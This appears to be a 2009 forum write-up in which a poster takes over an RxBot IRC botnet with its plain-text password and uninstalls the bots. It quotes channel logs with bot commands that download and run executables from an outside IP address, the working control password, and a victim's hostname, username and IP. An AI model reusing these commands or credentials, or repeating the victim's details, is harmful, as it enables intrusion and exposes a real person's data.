- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 31.5 KB/sec.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 31.5 KB/sec.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 31.5 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 25.9 KB/sec.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 25.9 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-684753> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 25.9 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 29.4 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-568861> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 24.5 KB/sec.
[2009-05-26 22:30] <n-568861> [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 27.6 KB/sec.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 27.6 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 23.2 KB/sec.
[2009-05-26 22:30] <n-927673> [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 49.0 KB/sec.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 23.2 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-121286> [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 73.5 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 22.0 KB/sec.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 25.9 KB/sec.
[2009-05-26 22:30] <n-658591> [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 22.0 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 23.2 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-914449> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 23.2 KB/sec.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 21.0 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-656401> [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-915282> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 19.2 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-608854> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 18.4 KB/sec.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 23.2 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-122510> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 19.2 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-574783> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 18.4 KB/sec.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 16.3 KB/sec.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 17.6 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-473636> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 17.6 KB/sec.
[2009-05-26 22:30] <n-069330> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 17.6 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 21.0 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] *** Joins: n-383723
[2009-05-26 22:30] <n-574783> [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-798534> [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-571058> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 13.4 KB/sec.
[2009-05-26 22:30] <n-571058> [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-520755> [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-709284> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 12.6 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-583027> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 11.6 KB/sec.
[2009-05-26 22:30] <n-583027> [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-833356> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 22.0 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-564682> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 10.3 KB/sec.
[2009-05-26 22:30] <n-564682> [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-359209> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 11.0 KB/sec.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 10.0 KB/sec.
[2009-05-26 22:30] <n-359209> [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] *** Parts: n-684753
[2009-05-26 22:30] <n-497894> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 9.2 KB/sec.
[2009-05-26 22:30] *** Parts: n-151753
[2009-05-26 22:30] <n-497894> [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] *** Parts: n-506956
[2009-05-26 22:30] <n-887717> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 16.3 KB/sec.
[2009-05-26 22:30] <n-887717> [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] *** Parts: Snake
[2009-05-26 22:31] <n-125554> [MAIN]: Password accepted.
[2009-05-26 22:31] <n-418650> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 7.6 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 6.6 KB/sec.
[2009-05-26 22:31] <n-397296> [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:31] <n-896928> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 6.0 KB/sec.
[2009-05-26 22:31] <n-896928> [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:31] <n-621628> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 5.5 KB/sec.
[2009-05-26 22:31] *** Joins: Snake
[2009-05-26 22:31] <n-621628> [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:31] <n-099717> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 4.6 KB/sec.
[2009-05-26 22:31] <n-099717> [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:31] <n-125554> [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
[2009-05-26 22:31] *** Joins: n-764941
[2009-05-26 22:31] *** Parts: Snake
[2009-05-26 22:31] *** Parts: n-125554
[2009-05-26 22:32] *** Joins: Snake
[2009-05-26 22:32] *** Parts: Snake
[2009-05-26 22:33] <n-577176> [DOWNLOAD]: Downloaded 439.0 KB to c:\windows\mds.exe @ 2.1 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.

So the login password is thepartofmindhack, same as server password and channel password. A quick look at RxBot commands shows,

Code:

remove rm .remove Removes the bot completely. <@RXBOT> .remove
<rBot-32315> [MAIN]: Removing Bot.

Let's see...

Quote:

[2009-05-26 22:34] <Lithium> .login thepartofmindhack
[2009-05-26 22:34] <n-234644> [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
[2009-05-26 22:34] <n-598900> [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
[2009-05-26 22:34] <n-704388> [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
[2009-05-26 22:34] <n-069330> [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
[2009-05-26 22:34] <Lithium> .remove
[2009-05-26 22:34] <n-497181> [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
[2009-05-26 22:34] <n-007036> [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
[2009-05-26 22:34] <n-574783> [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
[2009-05-26 22:34] <n-577176> [MAIN]: Password accepted.
[2009-05-26 22:34] *** Joins: n-978312
[2009-05-26 22:34] *** Parts: n-325084
[2009-05-26 22:34] <n-234644> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-186739> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-26 22:34] *** Parts: n-234644
[2009-05-26 22:34] *** Parts: n-186739
[2009-05-26 22:34] *** Parts: n-599247
[2009-05-26 22:34] <n-927673> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-634355> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-598900> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-453828> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-069330> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-209874> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-105384> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-232275> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-644986> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-038736> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-502610> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-833356> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-749060> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-623429> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-906008> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-138896> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-803614> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-007036> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-451594> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-948576> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-914449> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-206544> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-122510> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-163349> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-608854> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-656401> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-416676> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-568861> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-418650> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-611304> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-435013> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-139850> [MAIN]: Removing Bot.
[2009-05-26 22:34] *** Parts: n-927673
[2009-05-26 22:34] *** Parts: n-453107
[2009-05-26 22:34] *** Parts: n-634355
[2009-05-26 22:34] *** Parts: n-209372
[2009-05-26 22:34] *** Parts: n-598900
[2009-05-26 22:34] *** Parts: n-453828
[2009-05-26 22:34] *** Parts: n-969379
[2009-05-26 22:34] *** Parts: n-069330
[2009-05-26 22:34] *** Parts: n-933488
[2009-05-26 22:34] *** Parts: n-704388
[2009-05-26 22:34] *** Parts: n-724312
[2009-05-26 22:34] *** Parts: n-626412
[2009-05-26 22:34] *** Parts: n-729889
[2009-05-26 22:34] *** Parts: n-454604
[2009-05-26 22:34] *** Parts: n-209874
[2009-05-26 22:34] *** Parts: n-085369
[2009-05-26 22:34] *** Parts: n-642718
[2009-05-26 22:34] *** Parts: n-105384
[2009-05-26 22:34] *** Parts: n-562456
[2009-05-26 22:34] *** Parts: n-232275
[2009-05-26 22:34] *** Parts: n-298615
[2009-05-26 22:34] *** Parts: n-663781
[2009-05-26 22:34] *** Parts: n-625681
[2009-05-26 22:34] *** Parts: n-036448
[2009-05-26 22:34] *** Parts: n-060080
[2009-05-26 22:34] *** Parts: n-520755
[2009-05-26 22:34] *** Parts: n-644986
[2009-05-26 22:34] *** Parts: n-003745
[2009-05-26 22:34] *** Parts: n-038736
[2009-05-26 22:34] *** Parts: n-838578
[2009-05-26 22:34] *** Parts: n-798534
[2009-05-26 22:34] *** Parts: n-502610
[2009-05-26 22:34] *** Parts: n-734028
[2009-05-26 22:34] *** Parts: n-833356
[2009-05-26 22:34] *** Parts: n-749060
[2009-05-26 22:34] *** Parts: n-073959
[2009-05-26 22:34] *** Parts: n-125949
[2009-05-26 22:34] *** Parts: n-090483
[2009-05-26 22:34] *** Parts: n-531390
[2009-05-26 22:34] *** Parts: n-473636
[2009-05-26 22:34] *** Parts: n-482175
[2009-05-26 22:34] *** Parts: n-623429
[2009-05-26 22:34] *** Parts: n-036476
[2009-05-26 22:34] *** Parts: n-906008
[2009-05-26 22:34] *** Parts: n-138896
[2009-05-26 22:34] *** Parts: n-813976
[2009-05-26 22:34] *** Parts: n-497181
[2009-05-26 22:34] *** Parts: n-359859
[2009-05-26 22:34] *** Parts: n-803614
[2009-05-26 22:34] *** Parts: n-007036
[2009-05-26 22:34] *** Parts: n-451594
[2009-05-26 22:34] *** Parts: n-673312
[2009-05-26 22:34] *** Parts: n-948576
[2009-05-26 22:34] *** Parts: n-914449
[2009-05-26 22:34] *** Parts: n-206544
[2009-05-26 22:34] *** Parts: n-122510
[2009-05-26 22:34] *** Parts: n-339428
[2009-05-26 22:34] *** Parts: n-163349
[2009-05-26 22:34] *** Parts: n-763665
[2009-05-26 22:34] *** Parts: n-708766
[2009-05-26 22:34] *** Parts: n-105601
[2009-05-26 22:34] *** Parts: n-608854
[2009-05-26 22:34] *** Parts: n-416676
[2009-05-26 22:34] *** Parts: n-656401
[2009-05-26 22:34] *** Parts: n-764941
[2009-05-26 22:34] *** Parts: n-568861
[2009-05-26 22:34] *** Parts: n-418650
[2009-05-26 22:34] *** Parts: n-611304
[2009-05-26 22:34] *** Parts: n-435013
[2009-05-26 22:34] *** Parts: n-573696
[2009-05-26 22:34] *** Parts: n-139850
[2009-05-26 22:34] *** Parts: n-121286
[2009-05-26 22:34] *** Parts: n-359209
[2009-05-26 22:34] *** Parts: n-536251
[2009-05-26 22:34] *** Parts: n-915282
[2009-05-26 22:34] *** Parts: n-577176
[2009-05-26 22:34] *** Parts: n-658591
[2009-05-26 22:34] *** Parts: n-718491
[2009-05-26 22:34] *** Parts: n-851344
[2009-05-26 22:34] *** Parts: n-383723
[2009-05-26 22:34] *** Parts: n-797870
[2009-05-26 22:34] *** Parts: n-583027
[2009-05-26 22:34] <n-121286> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-359209> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-536251> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-915282> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-577176> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-718491> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-851344> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-797870> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-343371> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-574783> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-081379> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-571058> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-397296> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-497894> [MAIN]: Removing Bot.
[2009-05-26 22:34] <n-709284> [MAIN]: Removing Bot.
[2009-05-26 22:34] *** Parts: n-887717
[2009-05-26 22:34] *** Parts: n-343371
[2009-05-26 22:34] *** Parts: n-574783
[2009-05-26 22:34] *** Parts: n-081379
[2009-05-26 22:34] *** Parts: n-571058
[2009-05-26 22:34] *** Parts: n-397296
[2009-05-26 22:34] *** Parts: n-497894
[2009-05-26 22:34] *** Parts: n-709284
[2009-05-26 22:34] *** Parts: n-621628
[2009-05-26 22:34] <n-564682> [MAIN]: Removing Bot.
[2009-05-26 22:34] *** Parts: n-564682
[2009-05-26 22:35] *** Disconnected

The end.

____________________

Vektor

2009-05-27
20:42:11

Quote

Today the botnet server was restarted,

Quote:

[2009-05-27 18:10] *** Connected
[2009-05-27 18:10] *** Looking up your hostname
[2009-05-27 18:10] *** Found your hostname, cached
[2009-05-27 18:10] *** Checking Ident
[2009-05-27 18:10] *** No ident response
[2009-05-27 18:10] <Area.Zone.XLife> MODE :Register first.
[2009-05-27 18:10] <Area.Zone.XLife> Welcome to the Internet Relay Network n-091416
Your host is Area.Zone.XLife, running version beware1.5.7
This server was created Tue Jul 13 2004 at 20:36:07 GMT
Area.Zone.XLife beware1.5.7 dgikoswx biklmnoprstv
MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10 MAXBANS=45 :are supported by this server
[2009-05-27 18:10] <Area.Zone.XLife> NICKLEN=9 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 :are supported by this server
There are 22 users and 0 invisible on 1 servers
3 :channels formed
I have 22 clients and 0 servers
[2009-05-27 18:10] *** n-091416 Highest connection count: 23 (23 clients)
[2009-05-27 18:10] <Area.Zone.XLife> MOTD File is missing
[2009-05-27 18:10] *** n-091416 on 1 ca 2(4) ft 10(10)
[2009-05-27 18:11] <Lithium> .login thepartofmindhack
[2009-05-27 18:11] <Lithium> .remove
[2009-05-27 18:11] <n-304915> [MAIN]: Password accepted.
- [MAIN]: Password accepted.
[2009-05-27 18:11] <n-628805> [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
[2009-05-27 18:11] <n-845658> [MAIN]: Password accepted.
- [MAIN]: Password accepted.
[2009-05-27 18:11] <n-596124> [MAIN]: Password accepted.
- [MAIN]: Password accepted.
[2009-05-27 18:11] <n-304915> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-27 18:11] <n-628805> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-27 18:11] <n-845658> [MAIN]: Removing Bot.
[2009-05-27 18:11] <n-855329> [MAIN]: Removing Bot.
[2009-05-27 18:11] <n-416432> [MAIN]: Removing Bot.
- [MAIN]: Removing Bot.
[2009-05-27 18:11] <n-559687> [MAIN]: Removing Bot.
[2009-05-27 18:11] <n-596124> [MAIN]: Removing Bot.
[2009-05-27 18:11] <n-003414> [MAIN]: Password accepted.

Only my fake bot remained.

Quote:

[2009-05-27 18:17] *** Joins: Snake
[2009-05-27 18:17] <Snake> .download http://81.196.95.22:528/Speed-Extreme%20v2.exe c:\windows\doc.exe 1
[2009-05-27 18:17] <Snake> .login thepartofmindhack
[2009-05-27 18:17] <Snake> .login thepartofmindhack
[2009-05-27 18:18] <Snake> .download http://81.196.95.22:528/Speed-Extreme%20v2.exe c:\windows\doc.exe 1
[2009-05-27 18:18] <Snake> .logout
[2009-05-27 18:18] *** Parts: Snake
[2009-05-27 18:18] *** Disconnected

More bots joined, and while they joined I kept uninstalling them.

Quote:

[2009-05-27 18:32] *** Looking up your hostname
[2009-05-27 18:32] *** Checking Ident
[2009-05-27 18:32] *** No ident response
[2009-05-27 18:32] *** Couldn't look up your hostname
[2009-05-27 18:32] <my.server.name> MODE :Register first.
[2009-05-27 18:32] <my.server.name> Welcome to the Internet Relay Network n-432866
Your host is my.server.name, running version beware1.5.7
This server was created Tue Jul 13 2004 at 20:36:07 GMT
my.server.name beware1.5.7 dgikoswx biklmnoprstv
MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10 MAXBANS=45 :are supported by this server
[2009-05-27 18:32] <my.server.name> NICKLEN=9 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 :are supported by this server
There are 7 users and 1 invisible on 1 servers
3 :channels formed
I have 8 clients and 0 servers
[2009-05-27 18:32] *** n-432866 Highest connection count: 8 (8 clients)
[2009-05-27 18:32] <my.server.name> MOTD File is missing
[2009-05-27 18:32] *** n-432866 on 1 ca 1(4) ft 10(10)
[2009-05-27 18:32] *** Joins: n-234242
[2009-05-27 18:32] *** Joins: n-004087
[2009-05-27 18:32] *** Joins: n-152026
[2009-05-27 18:32] *** Joins: n-798122
[2009-05-27 18:32] *** Parts: n-234242
[2009-05-27 18:33] *** Joins: n-000244
[2009-05-27 18:33] *** Parts: n-798122
[2009-05-27 18:33] Private message from n-152026: <n-152026> [MAIN]: Removing Bot.
[2009-05-27 18:33] *** Parts: n-152026
[2009-05-27 18:33] *** Parts: n-004087
[2009-05-27 18:34] <Snake> .login thepartofmindhack
[2009-05-27 18:34] <Snake> .download http://81.196.95.22:528/Speed-Extreme%20v2.exe c:\windows\doc.exe 1
[2009-05-27 18:34] <Snake> .logout
[2009-05-27 18:34] <Snake> fmm..
[2009-05-27 18:34] <Snake> .login thepartofmindhack
[2009-05-27 18:35] <Snake> .download http://81.196.95.22:528/Speed-Extreme%20v2.exe c:\windows\doc.exe 1
[2009-05-27 18:35] <Snake> .sysinfo
[2009-05-27 18:35] *** Disconnected

Quote:

[2009-05-27 18:46] *** Joins: Snake
[2009-05-27 18:47] <Snake> .logout
[2009-05-27 18:47] <Snake> :D
[2009-05-27 18:47] <Snake> .login thepartofmindhack
[2009-05-27 18:47] <n-906825> [MAIN]: Password accepted.
[2009-05-27 18:47] <n-376592> [MAIN]: Password accepted.
[2009-05-27 18:47] *** Parts: n-906825
[2009-05-27 18:47] *** Parts: n-376592
[2009-05-27 18:47] <Snake> .download http://81.196.95.22:528/Speed-Extreme%20v2.exe c:\windows\doc.exe 1
[2009-05-27 18:49] *** Disconnected

Quote:

[2009-05-27 18:50] *** Joins: Snake
[2009-05-27 18:50] *** Joins: n-822256
[2009-05-27 18:51] <Snake> .sysinfo
[2009-05-27 18:51] <Snake> .login thepartofmindhack
[2009-05-27 18:51] <n-822256> [MAIN]: Password accepted.
[2009-05-27 18:51] *** Parts: n-822256
[2009-05-27 18:52] <Snake> .sysinfo
[2009-05-27 18:52] *** Disconnected

Quote:

[2009-05-27 19:07] *** Joins: n-957330
[2009-05-27 19:10] *** Joins: n-802267
[2009-05-27 19:11] <Snake> .login thepartofmindhack
[2009-05-27 19:11] <n-802267> [MAIN]: Password accepted.
[2009-05-27 19:12] <Snake> .sysinfo
[2009-05-27 19:12] <n-802267> [SYSINFO]: [CPU]: 2200MHz. [RAM]: 1,047,856KB total, 1,047,856KB free. [Disk]: 51,199,120KB total, 19,562,060KB free. [OS]: Windows XP (Service Pack 2) (5.1, Build 2600). [Sysdir]: C:\WINDOWS\system32. [Hostname]: clau (85.204.6.137). [Current User]: claudiu. [Date]: 27:May:2009. [Time]: 19:03:57. [Uptime]: 0d 0h 2m.
[2009-05-27 19:12] <Snake> .netinfo
[2009-05-27 19:12] <n-802267> [NETINFO]: [Type]: LAN (LAN Connection). [IP Address]: 85.204.6.137. [Hostname]: 85.204.6.137.
[2009-05-27 19:12] <Snake> .download http://81.196.95.22:528/Speed-Extreme%20v2.exe c:\windows\doc.exe 1
[2009-05-27 19:12] <n-802267> [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/Speed-Extreme%20v2.exe to: c:\windows\doc.exe.
[2009-05-27 19:12] <n-802267> [DOWNLOAD]: Downloaded 363.8 KB to c:\windows\doc.exe @ 181.9 KB/sec.
[2009-05-27 19:12] <n-802267> [DOWNLOAD]: Opened: c:\windows\doc.exe.
[2009-05-27 19:12] *** Parts: Snake
[2009-05-27 19:12] *** Joins: Snake
[2009-05-27 19:13] *** Joins: n-271246
[2009-05-27 19:14] <Snake> .logout
[2009-05-27 19:14] <Snake> .login
[2009-05-27 19:14] <Snake> .login fidsjgsfgf
[2009-05-27 19:14] <Snake> .login thepartofmindhack
